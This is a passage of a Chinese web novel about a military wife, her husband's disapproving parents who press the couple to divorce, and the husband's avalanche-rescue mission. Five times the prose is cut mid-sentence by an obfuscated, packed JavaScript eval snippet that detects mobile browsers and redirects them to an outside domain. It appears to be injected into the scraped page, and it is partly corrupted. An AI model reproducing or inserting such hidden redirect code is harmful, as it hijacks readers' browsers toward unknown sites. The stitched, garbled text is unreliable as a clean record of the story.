"想都别想！"蒋晓东一脚踢开她，"要么嫁给曹振国，要么我就当没生过你这个女儿！" 周美娟看着女儿惨白的脸，终究不忍心地别过头去。 …… 沈晚等录音机播放完毕，立即拔下录音机塞进自己兜里。 她刚推开广播室的门，却意外地看见霍沉舟正靠在走廊墙上，显然已经等候多时。 她心思一转便明白了，为什么广播室会空无一人，为什么她能如此顺利地完成这一切。 心中涌起一股暖流，她快步上前投入霍沉舟的怀抱："你怎么知道我要来广播室？" 霍沉舟低头在她发间落下一吻，嘴角带着了然的笑意："你猜。" "是不是顾战告诉你的？他怎么什么都和你说！" "废话，"霍沉舟轻笑着捏了捏她的鼻尖，"他可是我带出来的兵。" 说着将人更紧地搂进怀里，"不过下次要做这种事，记得提前跟我说，不要自己一个人去做。" 两人手牵着手一起往前走，沈晚突然有点担心起来："周**他们不会怪你吧？" 霍沉舟轻笑："刚才在广播室那么大胆，现在知道担心了？" 沈晚撇了撇嘴："我这不是怕你为难吗？毕竟是我先斩后奏" "没事，"霍沉舟握紧她的手，“这件事本来就是蒋雪污蔑你，你只是想办法证明自己的清白而已，我相信**会理解的。” 沈晚把录音机拿出来塞给霍沉舟："那你帮我把这个还给顾战，今天的事还要多谢他了。" 霍沉舟听到顾战的名字，眉头微不可察地皱了一下，语气酸溜溜的："你就只知道谢谢他，不知道谢谢我吗？" 沈晚斜睨男人一眼，故意道："那不都是你应该做的吗？这本来就是你惹出来的桃花。" 霍沉舟有些不解地挑挑眉："桃花？什么意思？" "就是招蜂引蝶的意思！"沈晚没好气地戳了戳他的胸口，"谁让你长得这么招人，可不就惹得某些人念念不忘吗？" 霍沉舟闻言也有些心虚，确实是他惹出来的麻烦。 他讨好地捏了捏沈晚的手："媳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216591|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇儿，我保证以后离所有女同志三米远，见到就绕道走，行不行？" 沈晚被他这副模样逗笑了：“行。” 路上，霍沉舟又把他让顾战把蒋雪家地址告诉曹振国父母的事情说了。 沈晚听完，不由暗自咋舌，这男人平时看着正经，耍起手段来真是老奸巨猾。 沈晚本来想直接回家，霍沉舟却非要拉着她去自己办公室。 两人刚走到办公楼前，就碰见了迎面走来的周卫国。 周卫国显然也听到了刚才 的广播内容，看向沈晚的眼神有些复杂，这小妮子看着温温柔柔的，没想到胆子还挺大的。 但他最终什么也没说，只是点点头打了个招呼。 等周卫国走远，沈晚才松了口气："吓死我了，还以为要挨批评呢。" 霍沉舟："他要是想批评，刚才就开口了。" 下午，赵晓燕和沈晚正在院子里晒萝卜干。 黄春艳突然走了过来。 经过这段时间的调养，她身体好了许多，面色红润，也不咳嗽了。 赵晓燕早就想和张德志商量把他娘送回老家，不然天天这么伺候着，她这个孕妇实在吃不消。 看见婆婆过来，赵晓燕淡淡问道："妈，又怎么了？饿了还是渴了？" 黄春艳搓着手，难得露出讨好的笑容："都不是，晓燕啊，妈想和你商量件事。" 赵晓燕皱了皱眉："啥事？" "你看德志他哥家里有四个孩子，日子过得实在艰难。"黄春艳试探地问，"你们现在不是还没生吗？要不先过继一个过来养着？既能给你们作伴，也能给他哥减轻负担。" 赵晓燕简直不敢相信自己的耳朵："妈！我肚子里还怀着您的亲孙子呢！您让我去养别人的孩子？" 沈晚在一旁听得直皱眉，这老太太真是越来越离谱了。 黄春艳还在喋喋不休："多个孩子多个福气嘛！你看老大家那个小闺女，才五岁就会干活了，过来还能帮你做家务。" 第一百四十五章 公婆要来 "妈！您说的这是什么话？我们凭什么要去养别人的孩子？我当初没怀孕的时候，您就说让大哥过继一个孩子给我们，现在我都怀孕了，您还说这种话！" 黄春艳被儿媳当面顶撞，原本装出来的和善脸色瞬间垮了下来。 她三角眼一瞪："怎么？我说话不管用了是吧？老大家的闺女怎么了？那不是我们张家的种？" 她指着赵晓燕的鼻子骂道："别以为怀了个金疙瘩就了不起了！万一是个赔钱货呢？提前过继个孩子怎么了？还不是为你们着想！" 赵晓燕不想和她多吵，大院里那么多双眼睛看着呢，家丑不可外扬。 她强压着火气道："妈，这事没得商量。大哥大嫂自己不想养就不该生那么多，现在生了又不想养，天底下哪有这么好的事？" 黄春艳被气得嘴皮子直哆嗦，手指颤抖地指着赵晓燕：“你、你这个不孝的泼妇！我们老张家真是倒了八辈子霉才娶了你这么个玩意儿！" 沈晚看不下去了："大娘，这话可就伤人了。晓燕姐怀着孕还天天伺候您吃喝，怎么就不孝了？ 要我说啊，大哥大嫂既然能生四个，就该想到养孩子的责任。而且晓燕姐和德志哥每个月往老家寄的钱，够养两个娃娃了吧？ 你们要是想过继一个孩子给张大哥他们，那以后每个月就不给你们寄生活费了。” 黄春艳：“那怎么行！” 赵晓燕冷笑一声："怎么不行？要我说，就照着小晚妹子的话做！过继一个孩子，我们以后每个月就不往老家寄钱了！" 黄春艳这下更不乐意了，每个月她这个二儿子寄的钱都够一家子的生活费了要是断了，一大家子喝西北风去？ 她骂骂咧咧地走了。 等婆婆一走，赵晓燕就在她身后“呸”了一下：“今天晚上就和张德志商量，让他把他娘送走，死老太婆。” 沈晚被她的泼辣样逗得直笑。 晚上，赵晓燕和张德志躺在炕上。 张德志的手刚不老实地摸过来，就被媳妇儿"啪"地拍开。 "干啥呀？"张德志委屈巴巴，"摸摸都不行了？" 赵晓燕一脚把他踹到炕沿："摸什么摸！赶紧把你那个搅事精老娘送走！不然以后都别想碰我！" 张德志蔫了想了想：“那我明天就去买票我看她身体也好的差不多了。” 赵晓燕嘟囔了一句：“这还差不多。” 第二天张德志就马不停蹄地买了火车票把黄春艳送走了。 这下大院里清静了不少没人再和李丽一起蛐蛐说八卦了。 沈晚过了几天舒坦日子。 自从她放了那段录音后蒋雪再没来找过麻烦连李丽看她的眼神都带着几分忌惮毕竟在李丽眼里 晚上霍沉舟从部队回来边脱军装边说起刚听到的消息："蒋家把曹振国保出来了蒋雪要和他结婚了。" 沈晚不可置信地抬头："蒋雪要和曹振国结婚？" 她原以为蒋家最多被闹得鸡飞狗跳没想到竟会同意女儿嫁给那个流氓。 霍沉舟点了点头："蒋家很看重名声。发生了这种事只有让蒋雪嫁给曹振国才能把下药变成情侣**保住最后一点体面。" "蒋雪为了这事闹绝食好几天了但这次她爸妈态度很坚决。" 沈晚心情复杂她不是同情蒋雪只是觉得这样的家庭也挺恐怖的竟然为了所谓的名声逼自己的女儿嫁给一个下药侵犯她的流氓。 "别多想"霍沉舟轻吻她的发顶"这都是她自作自受。" 沈晚"嗯"了一声霍沉舟把衣服挂在门后突然想起什么："对了你明天和我出去一趟。" "什么事？" "我爸妈突然拍电报说他们明天就到。" 沈晚惊讶地抬起头："明天？不是说还要过段时间吗？怎么这么突然？" 霍沉舟摇头："电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216592|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报上没说清楚只说明天中午到站让我们一起去接。" "行。"沈晚想到要见公婆了她心里还是有几分紧张的。 霍沉舟察觉到她的情绪低头在她唇上轻轻一吻："别紧张你又不是第一次和他们见面。之前你没来随军的时候不是和他们抬头不见低头见的吗？" 沈晚揪着他的衣角小声嘟囔："那不一样我还欠着你爸妈三千块钱呢。我现在身上就攒了七百左右剩下的得慢慢还了。" "不用你还"霍沉舟捏捏她的脸"我的津贴都在你那儿用我的津 贴慢慢还。" "那怎么行！"沈晚坚持道“那三千块钱都是我花的当然由我来还而且我现在都能赚钱了。” 霍沉舟看着她认真的模样心里软成一片："你帮我妈好好看看身体就行。她**病多你开的药比医院管用。" 沈晚立刻点头：“放心吧。” 第二天沈晚穿了件驼色大衣领口系着米白色羊毛围巾下身配黑色直筒裤和锃亮的小皮鞋。 这身打扮既不失体面又不会太过招摇很适合见长辈。 霍沉舟亲自开车载她和小川去火车站。 等到了火车站月台上顿时涌起一片嘈杂。 穿着各色棉袄的人们扛着大包小包挤挤攘攘地往前涌小贩的叫卖声、广播的播报声、火车的汽笛声交织在一起。 霍沉舟护着母子俩站在接站口突然说："来了！" 沈晚定睛一看 霍沉舟牵起沈晚的手迎上前："爸妈一路辛苦了。" 沈晚也跟着乖巧地喊人："爸妈。" 霍小川仰起小脑袋脆生生地叫道："爷爷奶奶！" 霍文渊微微颔首林静姝摸了摸孙子的脑袋："哎哟我们小川又长高啦！" 她又仔细端详儿子"这才多久没见沉舟怎么好像瘦了？小川倒是胖了些。" 夫妇俩和儿子孙子说着话唯独忽略了沈晚。 第一百四十六章 我不是你妈 察觉到父母的态度，霍沉舟揽过沈晚的肩膀，又道：“爸，妈，阿晚听说你们要来，特别高兴。” 霍文渊和林静姝对视一眼，都从对方眼中看到了惊讶，之前儿子连沈晚的手指头都不愿意碰，随军之后两人的感情好像好了不少。 既然儿子都这么说了，夫妇俩也不好再摆脸色，只得淡淡点头："有心就好。" 沈晚微微皱眉，已经感受到公婆明显的冷淡，她隐隐猜到，这次二老突然过来，恐怕不单单是看望儿子孙子那么简单。 出火车站的路上，霍沉舟问道："要不要先去家里坐坐？家里有两间屋子，挤一挤能住下。" 林静姝摆摆手："不用了，我和你爸有住处。" 霍沉舟："哪里？" "你还记得你爸有个姓崔的发小吗？"林静姝提醒道，"就是那个在省教育局当处长的崔叔叔。" 霍沉舟想了想：“崔世忠叔叔？他调来东北了？” "可不是嘛，"霍文渊接过话茬，"老崔前两年就调来当教育局副局长了。听说我们要来，帮我们在他家附近订了招待所。" 霍沉舟听了自然不会有什么意见。父亲和崔叔是发小，母亲和崔叔的妻子也算得上手帕交，好不容易有机会聚聚是好事。 "那我先带你们去国营饭店吃饭吧。"霍沉舟发动车子，"那儿的东北菜很正宗，正好让你们尝尝。" 上车后，霍小川兴奋地坐在爷爷奶奶中间，小嘴叭叭地说个不停，老两口两个月没见孙子，搂着又亲又抱，稀罕得不行。 沈晚偶尔轻声插两句话，老两口的态度都是不咸不淡的意味。 沈晚心里有些发涩，但也能理解，原主以前作的孽，确实伤透了老人的心。 霍沉舟察觉到她的失落，一只手握住她的手，轻轻捏了捏表示安慰。 这个细微的动作被林静姝看得一清二楚，她不由皱起眉头，语气带着几分不悦："沉舟，开车就好好开车。" 霍沉舟当作没听见。 林静姝又说："沉舟，你还记得你崔叔叔家的明月妹妹吗？小时候你们俩天天一起玩，她还总跟在你屁股后面喊沉舟哥哥呢。" 没想到霍沉舟直接淡淡道："不记得了。" 林静姝被噎了一下，脸色有些难看 。霍文渊拍了拍她的手递了个眼色她这才悻悻地闭上嘴。 等到了饭店霍文渊先下车又扶着林静姝下车。 沈晚正要跟着下去霍沉舟却拉住她低声道："别在意我妈的话她现在是没事找事不用理她。" 沈晚弯了弯眼睛：“好。” 进了国营饭店霍沉舟替沈晚拉开椅子又细心地帮她摆好碗筷 之前她还盼望着儿子儿媳能和睦相处、相敬如宾可是这个沈晚却一而再再而三地挑战他们的底线尤其是想到前几天收到的那封信心里更是堵得慌。 等菜的间隙霍沉舟说："妈阿晚会中医你不是身体不好吗？她一直惦记着要给您看看。" 林静姝听到这话只是笑着喝了口茶："她会中医？我和你爸那么多年怎么不知道？" 沈晚找了个合理的借口："爸妈我外公是村医我之前跟着他学过一些皮**。现在也在部队医院里跟着学习算是半路出家。" 林静姝心里并不信她的鬼话但是霍小川在旁边奶声奶气地说："奶奶你就让我妈妈帮您看看吧！她可厉害了救了好多人呢！" 小家伙说得有模有样林静姝不想驳小孙子的面子便答应了：“那你帮我看看吧麻烦你了。” “不麻烦。”沈晚温声应道随即在婆婆身旁坐下。 她伸出三指轻轻搭在林静姝的手腕上指下的脉搏节律不齐时有间歇且沉取时能明显感觉到濡滑之象。 沈晚眉头微蹙又仔细观察了婆婆的面色能看出眼睑浮肿唇色也偏暗。 "妈"沈晚收回手"您最近一年是不是经常心慌气短？晚上睡觉时总觉得憋闷需要垫高枕头才能呼吸顺畅？" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216593|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林静姝有点惊讶了没想到沈晚竟然能看出来这些。 沈晚继续道："阴雨天时膝关节和手腕也会酸痛吧？特别是凌晨时分容易突然惊醒出一身冷汗。" 霍文渊眉心拧紧："小晚你说得一点不差！沉舟他妈这些**病都好多年了" 林静姝下意识摸了摸胸口："这是我年轻时落下的病根这些年越来越严重了。" 沈晚点点头：“这个病现在立马治能治好 ，我今天回去就给您开一个温经通络的方子，配合艾灸，肯定能好。” 林静姝欲言又止，她今天是第一次正眼打量这个儿媳妇。 发现她现在气质谈吐，与从前那个撒泼打滚的判若两人，难怪连沉舟对她的态度都变了。 林静姝刚有些心软，却立即想起之前每次心软后沈晚得寸进尺的模样，终究只是道了声谢："谢谢你，小晚。" “不客气。” 吃饭时，霍沉舟一直专注地给沈晚夹菜，林静姝在桌子底下轻轻踢了丈夫一脚，示意他开口。 霍文渊轻咳一声，放下筷子："沉舟，听说你有一个去京市进修的机会？" 霍沉舟闻言皱眉："你们从哪听来的？" 林静姝抢着回答："你先别管我们怎么知道的，你就说是不是？" 霍沉舟并不隐瞒："是。" "你放弃了是不是？" "是。" 听到这个肯定的回答，霍文渊和林静姝的脸色都沉了下来。 林静姝追问："你是因为沈晚才放弃进修机会的，是不是？" 霍沉舟拧了拧眉："和阿晚关系不大，北境防务现在更需要我，这是和领导共同商议后的决定。" 林静姝一听这话，急火攻心，突然捂住胸口剧烈喘息起来，脸色瞬间煞白。 沈晚连忙起身想扶她："妈，您没事吧？" "别碰我！"林静姝一把甩开她的手，"我不是你妈！" 第一百四十七章 你们不合适，离婚吧 这边的动静引得邻桌客人纷纷侧目。 霍文渊和林静姝教了一辈子书，最重体面，当下饭也吃不下了，直接站起身："我们走！" 林静姝被丈夫搀扶着往外走，经过沈晚身边时，冷冷瞥了她一眼。 沈晚无措地看向霍沉舟，只见他脸色阴沉得可怕，最终他还是深吸一口气，沉声道："饿不饿？再吃点。" 沈晚现在哪还有心思吃饭，她轻轻摇头："我吃饱了。" 霍沉舟："一会我就送你回部队。不用在这受他们的气。" 沈晚闻言只好点头："那我回家写好药方，你明天拿来交给他们。"她犹豫了一下，还是轻声嘱咐，"你别和爸妈吵架，他们好不容易来一次，好好招待一下。" 霍小川不明白爷爷奶奶为什么突然生气离开，犹豫了一下，还是追了出去："奶奶！你没事吧？" 林静姝看见孙子都追出来了，儿子却还心安理得地坐在饭店里，心里不由一阵失望。 她被霍文渊扶着，摸了摸霍小川的头："奶奶没事。" 霍小川仰着小脸："奶奶，你别讨厌妈妈了，妈妈现在变得很好很好的。" 孩子的童言无忌让林静姝一时语塞：“小川，你还小，你不懂。” 霍沉舟付完账后，牵着沈晚不紧不慢地走出饭店。 霍文渊和林静姝早已站在吉普车旁等候多时，看见两人这般悠闲的模样，心中难免不满。 霍文渊沉着脸道：“沉舟，先送你妈去招待所吧，你妈现在身体不舒服。” 招待所在军区总院对面，崔家住在旁边的干部家属院。 上车后，霍沉舟和沈晚坐在前排，老两口带着霍小川坐在后排。 车内气氛一时凝滞，林静姝和霍文渊本来还想说些什么，但考虑到小川还在车上，最终只是沉默地看着窗外。 等到了招待所，霍沉舟两手提起行李，带着父母往里面走，崔世忠早已安排妥当，他们顺利入住房间。 霍沉舟放下行李："爸妈，我先送阿晚回去，晚点再回来看你们。" 林静姝喊住他："等等，我和你爸有话和你们说。"她看向小川，"小川，你先出去等，不要乱跑。" 霍小川乖巧地点点头，带上门出去了。 林 静姝靠在沙发上，脸色苍白地捂着胸口，呼吸有些急促。 霍文渊连忙上前："静姝，是不是心脏又不舒服了？" 沈晚见状轻声道："爸，您帮妈按一下穴位，在手腕横纹上三指的位置，用力按压可以缓解心慌。" 霍文渊依言照做，果然见林静姝的呼吸渐渐平稳下来。 她缓过气后，神色复杂地看向沈晚："看来你懂得挺多的。" 沈晚：“略懂皮**。” 林静姝沉默片刻，终于叹了口气："坐下说吧。" 霍沉舟递给沈晚一个安抚的眼神，两人依言坐下。 霍文渊张了张嘴想说什么，林静姝却冲他微微摇头："我来说，这个恶人我来当。" 她轻吸一口气，目光两人之间徘徊，最终缓缓开口："沉舟，小晚，你们俩离婚吧，你们不合适。" 霍沉舟皱眉：“妈，你这是在说什么？” 林静姝避开儿子的视线，继续道："小晚，你还记得你当年是怎么嫁给沉舟的吗？" 沈晚看上去比霍沉舟冷静得多，她点点头："嗯，记得。是我们家逼他娶我的。" "你记得就好。"林静姝叹了口气，"我儿子好心救了你，但你们沈家确实算得上恩将仇报了。不过说心里话，我还是很喜欢你的，觉得你聪明伶俐，原本想着只要你们能好好相处，我也不会苛责你。" 可你嫁到我们霍家之后都做了些什么？整天好吃懒做，对小川非打即骂！要不是我们老两口时不时接济，孩子早就饿出毛病了！ 更别提你贴补娘家的钱、花在自己身上的开销，少说也有小万了，那可都是我儿子拿命换来的血汗钱！" 霍沉舟听不下去了："妈，别说了！阿晚现在已经改变很多了。我是真心爱她，想和她好好过一辈子。我不会和她离婚的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216594|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' " 林静姝低头擦了擦眼角："现在你到部队了，结果又缠着沉舟放弃进修的机会。这不是你第一次耽误他了！所以我和你爸的意思很明确，你们俩不合适。离了吧……小川你随时都可以来看，我们绝不会拦着。" 霍沉舟的脸色阴沉，下颌线绷得紧紧的，他攥紧拳头，手背上青筋暴起，眼神里翻涌着压抑的怒火。 沈晚始终低着头，长长的睫毛垂下来，看不清表情。 霍沉舟看见她这样子，心都揪紧了，他想起上次沈晚确实提过离婚的念头，此刻看着她低垂的侧脸，恐惧像藤蔓般缠绕上心头。 他害怕她会点头，害怕她会说出"好"字。 "沈晚……"他的声音带着不易察觉的颤抖，下意识去握她的手，"你要是敢同意，我……" 下一秒，沈晚突然抬起头，眼神清亮而坚定："爸，妈。" 她轻轻回握住霍沉舟的手，声音不大却字字清晰，"我不会和沉舟离婚的。" "沉舟放弃进修是他作为军人的自主选择，与我无关。我爱他，想和他共度余生。" 霍沉舟紧绷的肩膀瞬间松弛下来，长长舒了口气，他灼热的目光几乎要将女人融化，眼底翻涌着难以抑制的狂喜与感动。 林静姝听到沈晚这番话，心中不免来气，偏偏这时，霍沉舟还火上浇油地补了一句："妈，让我和沈晚离婚，除非我死。" "你！"林静姝被气得呼吸急促，手指颤抖地指着他，"沉舟，你是存心想气死妈是不是？" 霍文渊连忙扶住妻子：“沉舟，怎么跟你妈说话的？” 霍沉舟眼神坦然："这就是我现在心里的想法。离婚可以，等我**。" 林静姝差点被气死，霍文渊一边给妻子顺气，一边怒斥："混账东西！你说的这是什么话！" 霍沉舟不想再纠缠，拉起沈晚的手转身就走，留下老两口在房间里干瞪眼。 等出了房间，霍沉舟立刻将沈晚拉到走廊转角，双手捧住她的脸，结结实实地亲了一口，发出清脆的"啵"声。 第一百四十八章 霍沉舟出紧急任务 沈晚被他亲的有点不好意思了，她擦了擦脸，娇嗔道：“干嘛？” 霍沉舟眼底带着如释重负的笑意，额头抵着她的额头："刚才吓死我了，真怕你又要说离婚。" 沈晚看见男人这么后怕，心里一暖。 霍沉舟低笑着又在她唇上啄了一下，这才依依不舍地松开。 两人牵着手往外走时，手指还腻腻歪歪地勾在一起，霍沉舟时不时用拇指摩挲她的手背，眼神温柔得能滴出水来。 刚到招待所大厅，就看见霍小川正踮着脚扒在前台和前台大姐姐聊天。 小家伙一见到爸爸妈妈，立刻跑过来，小脸上写满担忧："爸爸妈妈，你们没和爷爷奶奶吵架吧？" 沈晚没想到五岁的小孩子这么会察言观色："没有吵架。" "那就好，"霍小川松了口气，又期待地问，"妈妈，我们现在要去哪里呀？" 霍沉舟："小川，你先进去陪着爷爷奶奶。爸爸把妈妈送回部队就回来。" 霍小川有点失望："啊？妈妈不留下来吗？" 沈晚安慰他：“小川，妈妈先回部队，你留下来，爷爷奶奶好不容易来一次，你要好好陪陪他们。” 霍小川懂事地点点头："好吧，妈妈。" 霍沉舟把儿子送到父母房间后，下楼开车送沈晚回部队。 路上，他脸上的笑容藏都藏不住，嘴角一直扬着，沈晚看他这幅傻笑的样子，心里也甜滋滋的。 到了家属院门口，两人又在车上腻歪了半天。 霍沉舟抓着她的小手在嘴边亲了亲："我晚点就回来。" "哎哟，知道啦！"沈晚笑着抽回手，"就是分开半天而已，我又没有那么粘人。" "可是我黏你呀，我现在恨不得把你拴裤腰带上，走哪带哪。" 沈晚被他逗得耳根发烫，轻轻推了他一下："快回去吧，爸妈和小川还等着呢，别和爸妈吵架。" 霍沉舟这才不情不愿地松开手，目送她走进大院，直到那道纤细的身影消失在视线里，他才发动车子。 沈晚回到家后便忙着整理药材，一直到天黑，霍沉舟和小川还没回来。她起初没多想，以为公婆正和崔家吃饭，霍沉舟自然要作陪。 直到晚上十点多，父子俩依然没有回 来沈晚渐渐坐不住了这时大门突然被敲响。 沈晚心思一动连忙去开门没想到门口站着的是顾战。 "顾战？有什么事？" 顾战神色有些匆忙："嫂子我来就是说一声你别等团长了。" 沈晚心里一紧："怎么了？" "临县发生大规模雪崩好几个边境村庄被埋。"顾战语气急促"团长接到紧急命令带队参与救援了。现在整个边防团都出动了。" 沈晚听到是雪崩救援手指下意识攥紧门框："小川呢？" "小川在他爷爷奶奶那团长是被紧急派出支援的他特意嘱咐我来告诉你一声你要是想出门的话找我就行。" 沈晚微不可察地皱了皱眉："这任务一般要出几天？" 顾战犹豫了一下："看灾情程度……快的话三五天 “行我知道了。” 关上门后沈晚回到房间准备睡觉。 她躺在炕上翻来覆去却怎么都睡不着这是她来随军后霍沉舟第一次出任务心里莫名涌起几分不安。 霍沉舟那么厉害应该不会受伤吧？ 她喃喃自语强迫自己闭上眼睛。 第二天天刚蒙蒙亮沈晚就醒了她索性起床去厨房倒了杯水喝。 早上九点顾战来敲门："嫂子团长说你今天应该要出门我送你。" 霍沉舟不在沈晚自然要去看望公婆而且昨天还答应了给婆婆药方。 她拿上针包让顾战送她去招待所。路上沈晚想了想特意去供销社买了些补品和点心。 到了招待所林静姝看见她独自一人忍不住皱了皱眉："沉舟呢？怎么没一起来？" 沈晚将点心放在桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216595|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声道："沉舟昨晚紧急出任务去了临县发生雪崩需要部队支援。" 林静姝顿时紧张起来："雪崩？那得去多久？危不危险？" "可能三五天最多一周。" 老两口没想到自己刚来东北儿子就出任务去了。 霍文渊叹了口气："那我们明天就回去吧等下次再挑时间来。" 沈晚劝了劝："爸妈你们才刚来东北别急着走让妈好好在这休整一下不然来回太折腾了。 反正我在这可以照顾你们。今天我还特意带了针来，一会儿给妈针灸一下，对您的病有好处。" 想到自己昨天对沈晚态度那么差，今天她却还这般体贴，林静姝有些不好意思了。 但让两人离婚的心思没变，只是现在儿子不在，她光和沈晚说也没有用。 老两口商量了片刻，最终决定再留几天。一来让林静姝好好休整，二来也想等等看儿子能不能赶回来。 沈晚一边给林静姝施针，一边柔声问道："爸妈，你们下午打算干嘛去？" 林静姝闭着眼，语气淡然："不用管我们，又不是小孩，丢不了。" 沈晚继续温言道："我是怕你们无聊。这附近有个军民文化宫，经常放电影还有图书室。要是无聊，我可以带你们出去转转。" “……再说吧。”林静姝别扭地回答。 沈晚给林静姝针灸完后，林静姝果然觉得身体舒畅了不少，心里暗自惊叹她的医术高明。 中午沈晚打了饭陪二老一起吃，下午沈晚原本要带霍小川回家，但公公婆婆舍不得孙子，小川也乖巧地表示想多陪陪爷爷奶奶，沈晚便一个人先回部队了。 回去的路上，顾战见沈晚心不在焉的样子，笑着打趣道："嫂子，你是不是在想团长啊？" 沈晚回过神，耳根微红："很明显吗？" 顾战安慰她：“很明显，放心吧嫂子，团长那么厉害，而且这种雪崩救援任务他执行过好几次了，肯定没什么问题。” 第一百四十九章 霍沉舟受伤 顾战看出她心里还是担心，便提议道："要不要试着给救灾指挥部打个电话？虽然不一定能接通，但试试看？" 沈晚有些惊讶："现在灾区还能通电话？" 顾战解释道："指挥部有临时架设的军线，就是信号不太稳定。得一层层转接，有时候要等很久，还可能断线。" 沈晚立即点头："好！麻烦你了。" 顾战便带她去了军区通讯处。值班的通讯兵认识顾战，立即起身敬礼："顾营长！" "这位是霍团长爱人，"顾战正色道，"想试着联系救灾指挥部。" 通讯兵立刻熟练地操作起设备："我这就帮您转接，不过现在灾区线路繁忙，可能需要多试几次。" 等待期间，听筒里不断传来杂音和转接提示，沈晚紧张地握着听筒。 等了五分钟，电话那头还是无人接听，沈晚不免有些失望。 顾战不好意思地看向她："看来线路还是没接通." 沈晚摇摇头："没事。"正当她准备放下听筒时，对面突然传来一道沙哑疲惫的声音："喂？" 虽然夹杂着电流杂音，但沈晚还是第一时间听出了那是霍沉舟的声音。 她的心一下子落回实处，声音都带着雀跃："霍沉舟！" 电话那端的人先是一愣，随即不太确定地问："阿晚？" "嗯！"沈晚用力点头，仿佛对方能看见似的。 霍沉舟：“你怎么想起来给我打电话了，出什么事了吗？” 她看了看旁边，顾战和通讯兵早已默契地背过身去，她抿唇轻声道："没事，就是想你了，担心你呗。" 霍沉舟怔了怔，随即轻笑出声，低沉的笑声透过听筒传来，震得沈晚耳廓发麻："才一天没见，就想我了？" 沈晚耳根发热：“你要注意安全！” "放心，"他的声音温柔下来，"这边雪崩范围不大，救援很顺利，对了，我爸妈没有为难你吧？" 沈晚连忙道："没有，都挺好的。" 她还想再叮嘱几句，却听电话那头传来急促的呼喊："团长！西侧山坡发现生命迹象！需要您过来指挥！" 霍沉舟匆匆道："阿晚，我先去忙了。你照顾好自己，别担心。" 沈晚还没来得及答应，电话 就被挂断。 她握着听筒怔了片刻，心里松快了几分，能听到他的声音，知道他是安全的，就足够了。 "好了，谢谢你呀同志。"沈晚对通讯兵礼貌地道谢。 年轻的通讯兵看着眼前貌美如花的军属，脸一下子红到了耳根，结结巴巴道："不、不用谢！这都是我应该做的！" 顾战在一旁看得直乐，等出了通讯处才调侃："嫂子，你看把人家小同志紧张的！" 沈晚无奈地看他一眼："别贫了。" 顾战也有自己的事要做，便直接把沈晚送回了家属院。 接下来的两天，沈晚便在招待所和家属院之间跑。 不管林静姝怎样冷言冷语，她都不生气，反而一心一意地帮她治病，毕竟她心里有愧疚。 搞得林静姝和霍文渊也不好在说什么，他们俩又不是没心没肺，沈晚的心意他们都能看出来。 一时间，林静姝也拿捏不准这个儿媳妇到底是在装样子，还是真心想好好过日子了。 这天下午，沈晚帮林静姝针灸完刚想离开，林静姝突然叫住她："小晚。" 沈晚转身："妈，怎么了？" 林静姝看着儿媳俏丽的脸庞，迟疑片刻，最终还是轻声说了句："谢谢你啊，每天来给我治病，真是辛苦你了。" 她其实还有更多话想说，但想到前两天对沈晚的刻薄态度，终究没好意思说出口。 沈晚自然能看出婆婆的别扭与尴尬。她温和地笑了笑："妈，您别客气。这都是我应该做的。" 这番话让林静姝更加不好意思。 等沈晚带着霍小川离开后，林静姝轻声对丈夫感叹："其实其实小晚也挺好的" 霍文渊似笑非笑地看了妻子一眼："怎么，心软了？某人来之前可不是这么说的。" 